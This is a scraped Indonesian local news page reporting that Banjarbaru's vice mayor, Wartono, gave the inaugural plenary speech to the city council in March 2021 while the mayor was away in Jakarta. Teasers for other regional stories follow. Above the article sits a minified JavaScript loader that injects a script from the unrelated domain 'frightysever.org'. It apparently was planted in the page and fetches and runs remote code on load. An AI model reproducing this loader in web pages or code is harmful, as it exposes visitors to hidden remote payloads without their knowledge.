(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – DPRD Banjarbaru menggelar rapat paripurna perdana bagi Wali Kota Banjarbaru Aditya Mufti Ariffin dan Wakil Wali Kota Banjarbaru Wartono, Senin (1/3/2021) siang.
Dalam agenda rapat paripuna tersebut, kedua kepala daerah yang baru saja dilantik itu, akan menyampaikan pidato di hadapan para anggota legislatif DPRD Banjarbaru.
Sayangnya, dalam momen ini Wali Kota Banjarbaru Aditya tak muncul alias absen hadir di hadapan wakil rakyat. Kabarnya, ketidakhadiran Wali Kota Aditya harus memenuhi undangan Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan RB) di Jakarta. Walhasil pidato kepala daerah hanya disamiakan oleh sang Wakil Wali Kota Wartono.
“Saya sampaikan pertama ini karena sesuai ketentuan, kita harus ada penyampaian dalam rapat paripurna DPRD Kota Banjarbaru dalam pidato sambutan Wali Kota. Kedua dalam sambutan Wali kota mengajak semua elemen terutama DPRD Kota sebagai mitra untuk bekerja sama membangun Kota Banjarbaru,” ucap Wartono.
Ditegaskan Wartono, baik dirinya maupun Wali Kota Aditya dengan tegas akan menjaga amanah sebagai kepala daerah yang dibuktikan dengan tidak mementingkan diri sendiri.
“Jadi intinya di dalam kelanjutan pembangunan, karena kita diberi amanah oleh masyarakat Banjarbaru, tentu kita tidak mementingkan diri sendiri, keluarga, maupun kelompok. Jadi kita sama-sama membangun Banjarbaru, kita meminta pada DPRD untuk bersama membangun Banjarbaru dan melupakan hiruk pikuk Pilkada yang lalu,” bebernya.
Sementara itu, soal absennya Wali Kota Banjarbaru Aditya, Ketua DPRD Kota Banjarbaru Fadliansyah mengakui bahwa ketidakhadiran Wali Kota Banjarbaru dalam rapat paripurna perdana di agenda penyampaian pidato kepala daerah adalah hal yang lumrah dalam sistem pemerintahan.
“Jadi agenda hari ini di wakilkan oleh Wakil Wali Kota. Selebihnya kami tidak ada masalah karena Wali Kota dan Wakil Wali Kota ini adalah satu kesatuan dalam memimpin Kota Banjarbaru. Jadi kalau Wali Kota tidak bisa, Wakilnya tidak jadi masalah karena itu hal yang lumrah dalam sistem pemerintahan,” akunya.
Selain itu, diterangkannya bahwa pemimpim baru di Banjarbaru telah melakukan pertemuan silaturahmi atau penyampaian visi misi terkait kinerja lima tahun ke depan.
“Jadi ini kita undang untuk menyampaikan sebagai lembaga representatif dari masyarakat, ingin mendengarkan visi misi Wali Kota terpilih dalam rangka program kerja ke depan,” kata Fadliansyah. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.